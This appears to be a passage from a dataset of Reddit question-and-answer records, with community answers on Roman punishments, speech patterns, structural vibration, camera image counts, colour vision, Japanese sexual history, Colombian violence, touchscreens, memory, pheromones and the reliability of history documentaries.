many cases gives you the answer for which you asked.\n\nIf you're interested in Roman laws, have a look here:\n_URL_0_\n\nOr, if you can read Latin/Greek:\n_URL_1_\n\nYou could also try Lintott's classic book, *The Constitution of the Roman Republic*, which has a good chapter on the *senatus consultum ultimum*, and a helpful bibliography.\n\n(Sorry that's a bit long.)", "Actually, patricide also carried the death penalty. Killing your father, the man who gave you life, was considered as bad as treason if not worse.\n\nThe traditional penalty was [*culleus parricidae*:](_URL_0_) to be stripped in public, have all one's skin whipped off, and be put in a sack (culleus) together with a dog, a cock, and a monkey, which would then be thrown into the sea. Or, for practicality, one might simply be butchered or devoured in the arena.\n\nThis was famously at stake in Cicero's first major trial, the defense of Sextus Roscius in 80 BC. [Recommended](_URL_1_) (though the Moroccan extras don't really look all that Roman).\n", "[Here's an interesting fact](_URL_0_): It was considered an act of treason for a Vestal Virgin to break their oath of celibacy because it was believed that doing so would bring adverse consequences upon the Roman state. The accepted punishment was to entomb them alive because it was forbidden to spill their blood.", "During the life of the Roman Republic, capital punishment was performed more often and for a wider array of different crimes. If a public servant, most notably a judge, was caught accepting a bride, he would have his nose cut off and then he would be stuffed into a large bad with a rabid or aggressive animal. The bag was sewn shut and then thrown into a running river. Lying under oath was also punishable by capital punishment. The Romans considered the integrity of their legal system to be the fountain from which all other institutions of the state and society drew their life-blood from. Not surprisingly, to violate the court's integrity, and thereby threaten the state's health, perjurers were thrown from a cliff, the Tarpeian Rock, to their deaths. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=lNV6-HsUppsC&pg=RA3-PA333&dq=crimen+maiestas&hl=en&sa=X&ei=YLQfUYLhMIjMyQGEn4GAAg&ved=0CF8Q6AEwCA#v=onepage&q=crimen%20maiestas&f=false"], ["http://www.unrv.com/government/index-of-roman-laws.php", "http://webu2.upmf-grenoble.fr/DroitRomain/"], ["http://books.google.no/books?id=gl5T47CvuDsC&pg=PA184&dq=culleus+parricidae&hl=no&sa=X&ei=2MsfUZbJDOeK4ASW14D4Dg&ved=0CDwQ6AEwAA#v=onepage&q=culleus%20parricidae&f=false", "http://www.youtube.com/watch?v=RUcDdUG22JU"], ["http://en.wikipedia.org/wiki/Vestal_Virgin#Punishments"], []]}
{"q_id": "8himd2", "title": "why did people in the past speak with such a difference cadence and tone than they do now?", "selftext": "Getting lost in a Wikipedia rabbit hole, I started watching the Joseph McCarthy \"have you no decency?\" [clip](_URL_0_) on Youtube. The inflection of the voices in that video sound very different than the way people speak today, and I realize that that is super common in videos from eras past.\n\nWhy did this happen?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8himd2/eli5_why_did_people_in_the_past_speak_with_such_a/", "answers": {"a_id": ["dyk10bp", "dyk19ss", "dyla3aq"], "score": [2, 10, 2], "text": ["The same could be said of how we speak today, when someone from 50 years in the future hears it", "Rhetoric has gotten more casual.  In English, orators were expected to speak a certain way to show they were knowledgeable and trustworthy.  Somewhere in the mid- to late 20th century, this sort of speaking was characterized as distant, old-fashioned, and out of touch with the average man.  \n\nSubcultural slang has also mixed into average speaking patterns.  Every generation has slang, but it seems like the slang of the last two-three generations has become more widely used in public speaking (again, because the well-established rules of rhetoric are being discarded.)", "If you're talking about the black and white TV \"accent\", it is called \"Mid-Atlantic\" accent, which is a mix of cultured American accent and British RP. A learned accent used by movie stars and jet-setters, to seem more cultured.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=8llS0ZkLVGA"], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Mid-Atlantic_accent"]]}
{"q_id": "89zv0k", "title": "Do nightclubs and other places the play loud music suffer from more structural issues than other buildings?", "selftext": "The question came to mind when I was in a nightclub recently and the music was so loud I could literally feel the walls vibrating with it when I touched them. I don't know much about engineering but I can't imagine that's healthy for the structure.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/89zv0k/do_nightclubs_and_other_places_the_play_loud/", "answers": {"a_id": ["dwut0m0", "dwut6cl", "dwuvds0", "dwvtkg0"], "score": [2, 34, 12, 2], "text": ["I worked for an arena that is about 60 years old. It is a wooden dome structure. After 60 years of concerts, sporting events and just about everything else they discovered that many of nuts that had worked loose, the bolts themselves hadn't moved much if at all. Just the nuts meant to keep them from moving came loose. They are massive too probably weighing around 16oz a piece and there was several thousand of them. Luckily none had come all they way off. From the roof to the floor was about 60 feet.", "Generally speaking, not a problem. What does have to be considered is the potential for dynamic loading being higher than the static loading. In places where there is likely to be music, everyone dancing/jumping at the same time means that the design load should be increased. For some specific numbers, the Australian code (AS/NZS 1170.1) gives 1.5kPa for a typical household area, and 5.0kPa for a dance halls and studios.\n\nThe dynamic frequency of the structure should be considered, but that's more so that the floor doesn't feel exceptionally \"springy\" underneath. You don't want people to be able to feel the vibrations when they step, because it's somewhat disconcerting. My uni had a walkway specifically designed to have this vibration \"feel\" as an example of why there needs to be sufficient internal damping. This is normally only an issue for steel frame structures, but over given spans can be an issue for concrete/timber as well.", "Its usually not an issue. I work at a company that makes loudspeakers for all sorts of applications. We have a room we use for reliability testing. This room is quite small and we rest loudspeakers that go into stadiums and are designed to throw hundreds of feet away. We push these systems past there limits and then run them like that for weeks on end. The only structural issues we have had is in the panels we use for the connections going on and out of the room. There have been some issues of the connectors becoming loose but that\u2019s it. We even have some small racks for cables screwed into the wall that have been fine. To be fair this room was designed for this application. But we are talking many many thousands of hours, and in a room that\u2019s small so the energy doesn\u2019t spread out much. It\u2019s worst case scenario in there. And the amount of energy we put into the room would take several decades to get to In a normal venue. And the importance on the size of the room can\u2019t be overstated. Take car audio for example. There are lots of car audio competitions and people posting videos of them blowing out the glass or a girls hair flying all over the place in a car. But that is completely different than a concert venue. In a car it is such a small space that your acoustically coupled to a resonant chamber. This allows for a lot more pressure because it has no where to go. \n\nAll that being said who knows. If a structure happens to have the right resonant frequency it\u2019s definitely feasible that he PA causes damage. \n\nFor example the millennium bridge in London had an issue where the resonance  of the structure was the same as the average pace of a person walking. They initially had to close the bridge down because it would shake so badly people couldn\u2019t walk on it. They solved this by hanging weights under neath the bridge and tuned the weight and distance they hung them at so their resonant frequency would cancel out that if the people waking. ", "Sometime in the 1980s/1990s the a hall in Stevenage sports centre was damaged by loud music to the extent the hall had to be closed for repairs. I tried using google to find a report but failed. \n\nThe hall was steel frame with brick filling between the girders. The music caused the filling to be detached from the steel framework and in danger of collapse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6p0rqg", "title": "there's a finite amount of pictures a camera can take?", "selftext": "I might be really off here, but I'll say it anyway. \n\nLet's take a 12MP Reflex Camera for example. \nIt has 12 megapixels, a 12 megapixel image is 4000 pixels wide and 3000 pixels tall, which gives us around 12 million pixels. Each pixel can (on average, considering it's an 8-bit pixel) assume 16,777,216 different colors.\n\nThat means there are a finite number of combinations that you can have, each combination being a full 12MP image. \nThat would be 16,777,216 x 12,000,000, which is something like 201326592000000, or ~2.01327E14, and that's obviously a lot, but also finite.\n\nWhat would happen when you took the 201326592000001 picture?\nHow can a camera have a finite number of \"pictures you can take\"?\n\nI sat a little while thinking it out, just thought I'd share it, I'm sure someone will disprove and show me why it doesn't work like that, but regardless, I'd love to hear it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6p0rqg/eli5_theres_a_finite_amount_of_pictures_a_camera/", "answers": {"a_id": ["dklpcmo", "dklpe7b", "dklpfzq", "dklsgte"], "score": [7, 8, 5, 2], "text": ["There's a mistake in your calculations.\n\nIf there are 12,000,000 pixels and each pixel can have one of 16,777,216 colors, then the number of possible photos isn't 16,777,216 x 12,000,000, it's 16,777,216^(12,000,000), which is 2^(288,000,000). For comparison, the number of atoms in the universe is about 10^82 which is \"only\" about 2^(272).\n\nP.S. \"Mega\" simply means \"million\". Saying \"a 12 megapixel image is 4000 pixels wide and 3000 pixels tall, which gives us around 12 million pixels\" is redundant.", "You've done your math incorrectly. The actual number of possible pictures is not found by multiplying but by taking the exponent (multiplying c by itself p times), written c^p.\n\n\nThat would be 16,777,216^12,000,000 , a staggeringly large number with millions of digits.", " > What would happen when you took the 201326592000001 picture?\n\nThere isn't one. Those ~2E14 bitfields are the entire space of outputs the camera can produce. If you take more pictures than that, then by the [pigeonhole principle](_URL_0_) it must be a duplicate of one you've already taken. ", " > Each pixel can (on average, considering it's an 8-bit pixel) assume 16,777,216 different colors.\n\nNo, each pixel could have 256 colors. Almost all digital cameras count the RGB subpixels as pixels. That is not done with monitors. \n\n_URL_0_\n\nIt would be more surprising if there was an infinite number of possible images. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Pigeonhole_principle"], ["https://en.wikipedia.org/wiki/Image_resolution#Pixel_resolution"]]}
{"q_id": "2lbs3q", "title": "can a 4th primary color exist?", "selftext": "In one of the billions of universes that exist and stretch possibily to infinitiy, can a 4th color exist? Or is our color wheel a scientific fact of some sort that spans all of existence?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lbs3q/eli5_can_a_4th_primary_color_exist/", "answers": {"a_id": ["cltaecw", "cltaeki", "cltaj31", "cltatjk", "cltkb2p"], "score": [6, 94, 4, 9, 2], "text": ["Well for the primary additive colors (red, green, and blue) they are our primary colors because we have three types of color sensors in our eyes - one that responds to red light, one to green, and one to blue.\n\nSo were we to have a separate sensor specifically for Ultra-Violet, Yellow, or some other shade we would likely consider that to be a primary color.", "Humans are Trichomic, which is a fancy way to say that we see three primary colors.  This is because we have three types of color-sensitive cone cells in the eye- one red, one green, and one blue.  There is no way for us to see or perceive another primary color because it would require another type of cone cell to be present in our eyes.\n\nThere are many animals that have a different number types of cone cells in their eyes.  This allows them to see different primary colors than us.  Dogs for example are Dichromic (2 colors), and birds are Tetrochromic (4 colors). Some species have even have more cone types than that.\n\nFun fact: Goldfish are tetrochromic.  They can see red, green, blue, and ultraviolet as their primary colors.  Exactly how this is any use to them is unknown to me.", "Yes! A fourth primary color can exist. The primary colors are due to the three colors that our our eyes can distinguish. Many animals can see in 4 colors, while some are colorblind. Some people even have genes for the green color receptor different enough that they see in 4 colors. The greens aren't quite separate, so it isn't like seeing a true 4th color, but it is different from typical 3 color sight. ", "For some people there are 4 primary colors. \n\nSee, the 3 primary colors, and the idea of color itself is a result of human biology. Most people have 3 different types of cone cells in their eyes. Each type of cell reacts to a different part of the light spectrum; red, green, and blue. \n\nRed, green and blue are the primary colors of additive colors, your monitor for instance has RGB LEDs. Subtraction colors like paints are the more familiar Red , Yellow , Blue.\n\nSome people , mostly women have 4 different cone cells in their eyes. This is called [tetrachromia](_URL_0_). Because of this they see a fourth primary color, probably yellow. This means that they can see more distinct shades of the colors we normally see.\n\nOn a related note, women in general see more distinct shades of colors, particularly reds then men. The cornea; the translucent part of the eye blocks most ultraviolet light, and some people who have lost their corneas have reported seeing ultraviolet light. The mantis shrimp is an animal that can naturally see Ultraviolet light, giving it essentially a 4th primary color.", "The colors that can be described with Red Blue and Green are described with three axes L:the lightness, A: Yellow to Blue, B:Magenta to Cyan (a little bit simplified of an explanation). This is called the LAB color space and can describe any color using the primary colors Red Green and Blue (Cyan=Green+Blue, Magenta=Blue+Red). This system can be expanded to include any number of other colors it would just move the space to 4 dimensions instead of 3.\n\nThis wikipedia page on [Imaginary Colors](_URL_0_) may be in interesting read for you\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Tetrachromacy"], ["http://en.wikipedia.org/wiki/Imaginary_color"]]}
{"q_id": "5mjz54", "title": "Does a cultural shift towards androgyny mark the decline of a civilization?", "selftext": "In a talk (Lesson from History: Transgender Mania is Sign of Cultural Collapse - Camille Paglia), Camille Pagilia argues that from the Greeks to the Romans to now that homosexuality/gender fluidity/etc are what a culture ends up becoming right before it's downfall. The downfall is brought on by the cultures around the dominant culture that are more rigid in gender roles.\n\nIs she on to something here or is she just picking and choosing examples that confirm her point?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5mjz54/does_a_cultural_shift_towards_androgyny_mark_the/", "answers": {"a_id": ["dc45wh6", "dc4hzne"], "score": [12, 86], "text": ["Hi,\n\nWe don't allow links to hate-filled content. Could you please edit the post to remove the link to the video? You can make it clear what video you're referring to so people can find it, and you're much more likely to get a response if you include a description of the specific points that interest you (you do a great job of that right now). Just please kill the link.\n\nThanks!", "I can't speak at great length for the main examples that Pagilia uses insofar as the Greeks and the Romans vis a vis homosexuality/gender fluidity but even a cursory look at the period of waning power of these polities shows that their respective leaderships were dealing with way more problems than a 'degradation' of sexual identity. \n\nPolitical infighting, corruption, increasingly inefficient bureaucracy, difficulty enacting reforms, collecting taxes, ineffective military, etc. \n\nEven external factors like environmental changes (natural disasters like droughts, flooding, etc) played more direct roles in weakening these empires than anything sexuality did. \n\nPagilia seems to also pose that Greek art suddenly became 'less masculine' leading up to their 'downfall' but seems to make no attempt to actually look at the cultural and aesthetic intentions of how the artists and indeed the people of that time viewed masculinity, artistic depiction of the human body, particularly the male and female form, and general contexts of the time. \n\nIt's also hard to really critique what Pagilia's saying because she's not making any really concrete claims about historical facts or interpretations and simply bringing up \"Romans and Greeks were accepting of fluid sexuality right before they experienced collapses of their civilization\". \n\nBut as we understand it today, we know these civilizations didn't just 'collapse' and vanish into the ether. Rome was indeed sacked by Vandals but society didn't fall into ruin and the Roman Empire didn't turn into a historical Mad Max apocalyptic world(albeit that would be an interesting novel to write). \n\nPagilia also seems to not mention that fluid sexuality was well tolerated and accepted during the height of these civilizations \"golden\" periods. \n\nBut I'll address the overarching claim of \"transgender/fluid sexuality is a common indicator throughout history of the onset of or ongoing decline of a civilization/polity\".\n\n**Let's look at Japan.** \n\nJapan's history of homosexuality as well as fluid sexual roles is well documented and during both the tumultuous wartorn Sengoku Period as well as the following Edo Period, was widely accepted by the arguably most masculinity focused social group, the samurai. \n\nJapan experienced a great deal of unrest during the **Sengoku Period** when Japan was ruled by fractious and feuding warlords that were backed by the families and clans of both tightly and loosely connected samurai. \n\nEspecially for the most socially elevated and influential families of samurai, the male members of the family were tasked with important duties, of which creating heirs and children were an important part of serving the household. Sex with women was seen as an social and cultural obligation by Japanese men during this period. \n\nThat's not to say that sexuality with women wasn't enjoyed by men as well as lauded as a part of a great loving relationship, but even if a man were adamantly and openly derisive of women and despised even the idea of sex, he would be pressured to sire a child due to his obligations to family, clan, society, etc. \n\nOn the other hand, many saw male - male sexual/romantic relationships as a purer, truer love because it had to come about from an intimate relationship between two men (sometimes one quite a bit older than the other) and had no 'obligations' built into it. The relationship was purely one of pleasure and adoration, as family, having a child, etc. did not come into it. \n\nThe warriors that ruled Japan while dominating both social and political spheres, often dictating laws both formal and informal to the rest of Japan were very much accepting of homosexual and fluid sexual identities (as long as they also fulfilled their duties heterosexually). \n\nAs a disclaimer, this shouldn't be taken to mean that Sengoku Japan was some anachronistic paradise where everyone was accepted without issue and everyone enjoyed sexual freedom. But that's for another time.\n\nMore importantly, as the Sengoku Era came to a close after the reunification of Japan, **the Edo Era** reigned with centuries of marked peace and prosperity. \n\nThe regular devastation of regular military campaigns was replaced with development of the arts, philosophical and religious contemplation, the strengthening of economic systems and striving for the betterment of lives, both individual and collective. \n\nDuring this period, both the influential as well as the commonfolk were widely accepting of liberal sexuality. In many ways it had changed for the samurai, as the focus was now the administration of their respective jurisdictions rather than maintaining a constant readiness for war. There was a moral reexamination of the importance of family and in some ways, it became less respectable for a married man to also have a male lover on the side, particularly for the upper crust of society. \n\nBut sexual identity and modes of behavior were still relatively liberal. Homosexuality was still fairly common and with the rise of more organized forms of prostitution, popular male prostitutes and male fans courting famous male entertainers was not uncommon either. You can read more about that in *Fertility and Pleasure: Ritual and Sexual Values in Tokugawa Japan by William R. Lindsey*. \n\nThis was arguably one of Japan's 'heights'. The transition between periods could not even be called a 'decline' as it was really a shift in the political realm and social changes were slow in their coming. And interestingly enough, the 'hyper masculine' figures that brought about this change were the most famous proponents of homosexuality and sexual adventures that challenged the traditional sexual norms. \n\n**As we move onto to the Meiji Period**, we actually see a large influence of Western social mores on Japanese sexual identity and, in their attempt to ready Japan for a world that was quickly become more and more dangerous to 'old Japan', the Meiji leadership enacted sweeping changes both politically and socially. \n\nA major shift was the restrictions and increased government oversight on immoral activities, such as prostitution, adultery, and, of course, homosexual relations as well as anything that diverged from hetero-normative behavior. \n\nThe state wanted to emphasize the importance of a moral household centered around the family, and more to the point, around the husband and his faithful wife. \n\nIt's important to note here that this was not, as many would characterize it, a blind emulation of Western values. Certainly Western values had a great impact on Japanese government planners on how to change their country for the coming future, but they did not simply 'throw away' Japanese values and replace them with Western values. \n\nThey looked carefully and took inspiration from the world beyond their country's borders and brought back what they thought would indeed change their country irrevocably, but also strengthen it. \n\nAnyways, it's interesting that during this progressive period that there was such a strong delineation of 'proper' sexual conduct. \n\n**In the Meiji and the following Taisho Period** (Japan's interwar period), there was an interesting change though. While there was a social and political pressure to curtail the sexual identity of 'old Japan' and refocus on building the family and building the country, there was an influx of philosophical musings and influence from foreign intellectuals that brought a \"Western homosexuality\" into Japan. Homosexuality was no longer associated with the hypermasculine, the warrior, the master/apprentice. Now it was the realm of the intellectual, the worldly man, and indeed, the adventurous freewoman. \n\nThis brings up another point that Pagilia has consistently associated homosexuality and hetero-normative divergent sexual identity as the realm of the 'intellectual' when historically, it was really the opposite. \n\nIt's only within the modern era that we really start to see homosexuality become the 'domain' of the cosmopolitan, the bohemian, the academic, etc. \n\nHistorically, homosexuality was not necessarily associated with these things (and indeed could not have been because they were not concepts yet). \n\nI think all in all, we can clearly see that Pagilia appears to be cherry picking historical themes (that aren't very descriptive nor thoroughly thought of, mind you) in service of her commentary on current events rather than really examining the historical events themselves. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6yo3hz", "title": "The top 3 serial killers with the most confirmed kill counts were all Colombians, although they were active in different periods. Was there any socioeconomical or cultural explanation to this?", "selftext": "They are Luis Garavito (b. 1957, active in the 90s), Pedro L\u00f3pez (b. 1948, active in the 70s) and Daniel Camargo (b. 1930, active in the 70s and 80s).", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6yo3hz/the_top_3_serial_killers_with_the_most_confirmed/", "answers": {"a_id": ["dmq2mp6"], "score": [321], "text": ["I can talk a little bit about this! English is my second language, so forgive any errors. I can mainly speak for the socio-cultural part.\n\nIn Roger Worth's 'On the South-Americas', and in 'Walking Ghosts' by Steven Dudley, the issue of violence in Colombia (from last centuries '40s up until the date of writing the respective books) stands central.\n\nThe bottomline he arrives at, is that first and foremost is geography, which may sound overly simplistic and far-fatched. But historically speaking, Colombia\u2019s vast, difficult geography has made it extremely challenging for the central government in Bogota to extend control over its territory. This meant that well into the 20th century, the nation was more like a string of loosely associated villages than an integrated community with a strong sense of national identity. Regional and family loyalties trounced all. This means that loyalty to a nation, as we in the West would know it, is not as normal or as expected as it would be here. Great distrust exists against the government which is only worsened by the image of government officials being corrupted, or needing some sort of monetary compensation to fulfill otherwise 'normal' duties.\n\nThe second reason why violence remains a fundamental part of Colombian life is the legacy of the \u201cLa Violencia.\u201d 200,000 people died in a totally pointless conflict between the Liberals and the Conservatives (one is reminded of the scene in \u201cOne Hundred Years of Solitude\u201d in which Colonel Aureliano Buendia observes the main difference between the two parties is that the Liberals go the mass at five o\u00b4clock and the Conservatives at eight). \u201cLa Violencia\u201d is a historical trauma that the country still has not properly dealt with. Thousands were displaced and migrated to cities, where hopelessness and lack of opportunity created a vicious cycle of gangs and crime. Campesinos also migrated to other rural areas even further away from state control. The power vacuum left after \u201cLa Violencia\u201d allowed groups like the FARC and the ELN to rise to power. Ever since the 1940s you would be hard-pressed to find a Colombian who doesn\u2019t have a family member who was killed, injured or traumatized. There is no doubt that the effects of \u201cLa Violencia\u201d have created the social and political reality that Colombians live in today, even though thanks to the \u201cpolitics of anesthesia,\u201d such a historical trauma is barely present in the public consciousness.\n\nThe third reason for Colombia\u2019s violence-ridden nature is that informal behavioral norms in Colombia encourage corruption and crime. There is a huge gap between what Colombia\u2019s constitution and lawmakers pronounce, and the way that laws are actually enforced in practice. For the young men who make up the military and police force, this distinction between what is legal and what is culturally acceptable creates situations wherein it is more rewarding to break the law than follow it. In part, you could say that the reason why in Colombia there is such ambivalence towards following legal norms is because for a long time, legal norms were imposed from above by a small group of social and political elites, without much care in enforcing them and without much input from the marginalized majority. Why then should the majority of the population respect the laws formally endorsed by the state? This still echoes throughout society today, combined with a close feeling of 'community' over 'state', that very much paved the way for the issues Colombia still faces today.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3kfeqm", "title": "is 3d touch/forcetouch not just \"click/tap and hold\"?", "selftext": "Is this not the same implementation and features I get through press and hold, i.e. context menus, etc.? Except on App icons, I'll get a menu instead of unlocking the apps for re-arrangement? I \"want to\" believe this is a new feature, but I can't wrap my head around how it's any different to pressing and holding on any phone.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3kfeqm/eli5_is_3d_touchforcetouch_not_just_clicktap_and/", "answers": {"a_id": ["cuwy5ff", "cuwycum"], "score": [3, 6], "text": ["It is just pressure sensitive touch. If you touch and hold, a menu pops up, while holding, press harder, and another action happens. This isn't new in the tablet/wacom world, but Apple is a fantastic marketing company.", "At a hardware level, it can now sense how hard you're pressing.\n\nIn software, the UI now distinguishes between a light touch and a hard touch. A quick tap is the same, I believe - but if you touch and hold, pressing harder while holding can now trigger an action.\n\nThat's at the OS level, though. Applications can take advantage of 3D touch for more - for example painting apps can change the brush thickness based on how hard you touch. That's already supported in a few apps that were demoed.\n\nNo, Apple was not the first to invent any of this. The use of force touch to trigger a different action is a new concept for mobile OS's. Sensing how hard you're pressing was invented before but it's never been an accurate and reliable operating system feature before, only something available from a single brand, like a few specific Android phones, or specific touch-screens or tablets.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "89l2gu", "title": "what happens when your brain draws a blank?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/89l2gu/eli5_what_happens_when_your_brain_draws_a_blank/", "answers": {"a_id": ["dwrqsg3"], "score": [8], "text": ["The leading theory is that our brain stores information in a categorical way; when the neurons fail to specify past a particular category, the memory remains hazy. \n\nA little more specifically, if you have an object (we'll use an apple), your brain will store information about every little part of it from your Occipital lobe to your temporal-limbic connection. As it travels from the occipital to the temporal (with limbic connections) all of the associated traits of that apple are stored into your memory. You remember that apples shape, its texture, its behaviors, and everything along with it - this is also why you know how to identify that an object that looks very similar to a red apple, but is green, is still probably an apple. So, what we have is a refinement pathway. As the signal moves through your brain, the quality of your interpretation increases quite quickly. This works similarly for memories, as your brain still needs to first identify the stimulus, then refine the idea until its exactly the one you wanted it to be. \n\nA good analogy is when you see a camera unfocused, then it focuses on a particular object... next thing you know, its as clear as day. Forgetting would be like the cameras auto-adjust is misbehaving. \n\n\nIf there is an obstruction, a misfire or maybe your brain doesn't think the information is useful (and doesn't refine it past stage 1), then you won't remember. Since it is tied to the limbic system, you will have feelings associated to that forgotten object, which usually manifests as a \"oh oh\"-type moment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6vv3az", "title": "What does pheromone look like? If you had ounces in a vial would it be gaseous, liquid, powdery?", "selftext": "I would just like to know what physical properties a 'pheromone' has. Is it even tangible?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6vv3az/what_does_pheromone_look_like_if_you_had_ounces/", "answers": {"a_id": ["dm3rugc"], "score": [4], "text": ["Pheromones are a large class of different biological molecules used for chemo-signalling, across all branches of life and especially well described in insects. The important common factor is that they are volatile so will evaporate (or dissolve) easily and be carried from their source through the air or water to the receptive organism. \n\nMost are small molecules but some are peptides. As such in sufficient quantities and concentration they will likely either be liquids or powdery/crystalline solids. Peptides at sufficient concentration will be squishy solids or gels. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3g6gxx", "title": "When I watch history documentaries, what should I look for in terms of reliability?", "selftext": "I've just seen a documentary on the French Revolution _URL_0_. \n\n\nEvery time it cuts to an academic I google them to see their credentials. The credentials of those involved in this documentary seemed sound. \n\n\nI will never use documentaries as a main source of research, but I enjoy watching them at night. \n\n\nWhat factual pitfalls are involved with documentaries? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3g6gxx/when_i_watch_history_documentaries_what_should_i/", "answers": {"a_id": ["ctvi4gx", "ctvogmt", "ctvpdoh", "ctvpkti", "ctvq7t4", "ctvqj70", "ctvred2", "ctvz9ea"], "score": [85, 72, 38, 3, 6, 12, 3, 3], "text": ["A lot of documentaries are made by filmmakers, and not historians. Many tend to have a Rankeien view of history. Also overly dramatized Reenactments I find sometimes take away from the history. They're also not necessarily peer reviewed. That said, there are many good documentaries, and many of them are shown on pbs. Primary sources in my opinion are always best, but to get an overview of a unfamiliar topic documentaries are a great tool. Just always make sure they're actual history professors and not authors without any formal History education or peer review. ", "Look at the credits, where it should list the names of all the academics with bookcase backgrounds that are in a stereotypical documentary. Good documentaries will likely have their own historical consultants, too, who may have graduate degrees of their own. Many academic presses work this way, too - it's hard to edit an expert's book on French history if you don't have some expertise in French history. Googling credentials is good. If they're a professor of such-and-such at somewhere more reputable than DeVry and/or published something through an academic press (e.g. Yale University Press), they're probably okay. \n\nThe tricky thing with history is that historians are not in agreement with each other all the time on their interpretations of the past. Things like \"The French Revolution happened\" are indisputable, but answering questions like \"How did the French Revolution affect modern France?\" are not so easily answered. So listen to what the experts in the documentaries are saying, and think about if there might be another explanation for the thing they're discussing. If the French Revolution is something particularly interesting to you, you're in luck because it is one of the most talked about periods in history. Just glance quickly at [this](_URL_3_) and you'll see the issues surrounding it are not clear cut at all.\n\nCheck out Ben Alper's [blog](_URL_2_) posting for the Society for U.S. Intellectual History. He's a professor at the Honor's College at the University of Oklahoma and addresses a couple thing that may interest you.\n\nSee also\n\nHayden White, [\"Historiography and Historiophoty,\"](_URL_1_), *AHR Forum*\n\nBrian LeBeau (review essay). [\"Historiography Meets Historiophoty:The Perils and Promiseof Rendering the Past on Film.\"](_URL_0_) *American Studies* (not 100% on the journal title)\n\nTL;DR. Verify sources, **think** about the things being said.\n\nHope this helps a little. Happy Reading!", "The problem with many documentaries that interview experts is that the filmmaker can edit the interviews however they see fit. An infamous example of this (albeit not a history-related one) is *What the Bleep Do We Know?*, a new-age \"documentary\" from 2004 that proposed that all of existence is constructed from ideas and conscious thought, and justified this with a pseudoscientific interpretation of quantum physics.\n\nThe film notably interviews several physicists and other scientists, some of whom were interviewed about their field in a non new-age context and whose words were later selectively edited to make it seem like they supported the film's premise.\n\nThe worst example of a history-related documentary doing this that I can think of is *Zeitgeist*, which proposes (among other things) a lot of untrue claims about the historicity of Jesus, including falsely asserting he has some relationship with the Egyptian deity Horus.\n\nThe best documentaries that are shown on television are normally on publicly-funded channels, such as PBS or the BBC. While there have been good documentaries on History Channel, I'd take what you see on there with a grain of salt, and double-check anything you learn with other sources.", "Are you my old historiography prof?!\n\nThe biggest thing to look for is source work, as is true with all forms of historiography.  After that--bias.  Being able to recognize context and bias is a crucial tool in any historian's arsenal.", "Along the same lines, are Ken Burns documentaries generally considered accurate and well researched?", "While looking up credentials of experts is a worthwhile endeavor, you should also keep in mind that documentaries very often present only one narrative concerning the subject matter. While this can reflect the consensus of historians it doesn't necessarily have to and even if it does, it will leave things out that don't fit that narrative. \n\nAnother thing that irks me sometimes is the treatment of contemporary witnesses. Using personal testimony is something that adds a personal oftentimes emotional layer to things that happened in the past, but can be truly misleading if not outright wrong. As a rule of thumb I suggest you check whether such testimony is used to illustrate an already established fact rather than as a premise from which generalization are inferred. There is this apocryphal quote from a historian I like to toss in here: \"The biggest enemy of historians is the contemporary witness.\" It's obviously cynical but contains a kernel of truth.", "It's worth keeping in mind that even if the academics being interviewed have good credentials, the filmakers are still in total control of what parts of the interview the audience hears. It's amazing what you can do with creative editing in order to twist what someone's saying to suit your agenda or narrative. This goes the same with eyewitness accounts. Watch out especially for interview segments which are suspiciously short, contain lots of jump-cuts, or cut the interviewee off mid-sentence. ", "I've been interviewed for several documentaries, with some being better than others.\n\nThe tricky thing here is that just because an academic participates in something does not mean that a) their views are fully captured, or b) that they approve of anything else said in the documentary. I have never been asked to approve any documentary before it airs \u2014 what they do is come and film me for several hours, answering a LOT of questions, and then cut that into the 30 seconds of me talking that you see in the final product. And whether that 30 seconds captures what I actually even said depends on how they've edited it. And this assumes good faith, not Discovery channel style misrepresentation (they have notoriously edited academics to make them seem like they are saying something entirely different than they actually believed \u2014 they should be boycotted entirely in my opinion). \n\nPersonally I can barely watch any of these ones I've been part of, even if they are good, because I wince when I see how they've chopped off the end of my sentence, making its meaning a little less clear. I get why they have to do it \u2014 they have limited time and space and I could certainly be a bit more brief \u2014 but it is painful to see ones points obscured.\n\nPersonally I think historical documentaries are a very difficult genre to be considered \"reliable.\" The copy is usually written by a director/producer and the director/producer may or may not have any knowledge of the subject or even very much interest in it. And those who are interested might have axes to grind. Even my own limited experience has shown huge variations. \n\nJust to give you an example on editing\u00a0\u2014 I was once asked if I would be willing to be on an episode of _Ancient Aliens_ devoted to the (ridiculous) theories about there having been nuclear weapons used in the ancient world. (Dumb theory, don't ask.) Now they knew that I was not going to say this theory had any credibility. But I obviously declined, because they could easily set me up, e.g. \"Is it possible than people in ancient India could have developed nuclear weapons?\" \"It just isn't possible that people in ancient India could have developed nuclear weapons.\" (They usually have you 